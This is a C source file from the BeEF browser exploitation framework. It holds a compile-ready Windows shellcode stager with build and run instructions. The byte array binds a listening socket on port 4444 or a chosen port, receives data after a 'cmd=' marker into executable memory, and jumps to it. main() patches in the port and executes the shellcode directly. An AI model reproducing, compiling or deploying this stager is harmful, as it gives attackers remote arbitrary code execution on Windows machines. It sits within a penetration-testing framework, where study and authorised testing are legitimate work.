/**
 Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
 Browser Exploitation Framework (BeEF) - http://beefproject.com
 See the file 'doc/COPYING' for copying permission

A standalone version can be compiled with MinGW:
c:\MinGW\bin>gcc -o beefstager.exe beefstager.c

and then executed with:
c:\MinGW\bin>beefstager.exe 1234

or just with the default port 4444:
c:\MinGW\bin>beefstager.exe
**/


#include <stdlib.h>

char code[] = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5\xBB\x00\x10\x00\x00\x6A\x40\x53\x53\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\xC6\x6A\x00\x53\x50\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x57\x68\xC6\x96\x87\x52\xFF\xD5\x81\x3E\x63\x6D\x64\x3D\x74\x03\x46\xEB\xF5\x83\xC6\x04\xFF\xE6";

int main(int argc, char **argv)
{
if (argc == 2){
  int port;
  port = atoi(argv[1]);
  if (port <= 0xFFFF){
    code[200] = ((port & 0xFF00) >> 8) & 0xFF;
    code[201] = ((port & 0xFF));
  }	
}

int (*func)();
func = (int (*)()) code;
(int)(*func)();
 return 0;
}
